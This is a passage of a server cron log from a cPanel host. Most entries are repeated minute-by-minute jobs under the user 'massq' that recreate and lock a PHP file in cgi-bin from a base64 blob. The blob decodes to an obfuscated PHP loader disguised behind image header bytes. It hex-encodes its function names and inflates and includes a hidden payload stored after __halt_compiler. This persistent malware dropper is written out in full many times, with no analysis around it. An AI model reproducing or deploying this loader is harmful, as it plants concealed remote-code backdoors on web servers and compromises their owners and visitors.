LCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:19:01 server CROND[12698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:20:01 server CROND[12858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 16:20:01 server CROND[12860]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 16:20:01 server CROND[12862]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 16:20:01 server CROND[12863]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 16:20:01 server CROND[12861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:21:01 server CROND[12987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:22:01 server CROND[13041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:23:01 server CROND[13097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:24:01 server CROND[13147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:25:01 server CROND[13207]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  8 16:25:01 server CROND[13208]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 16:25:01 server CROND[13209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:25:01 server CROND[13210]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 16:26:01 server CROND[13322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:27:01 server CROND[13470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:27:01 server CROND[13471]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 16:28:01 server CROND[13550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:29:01 server CROND[13610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:30:01 server CROND[13675]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 16:30:01 server CROND[13676]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 16:30:01 server CROND[13677]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  8 16:30:01 server CROND[13678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:30:01 server CROND[13680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 16:31:01 server CROND[13791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
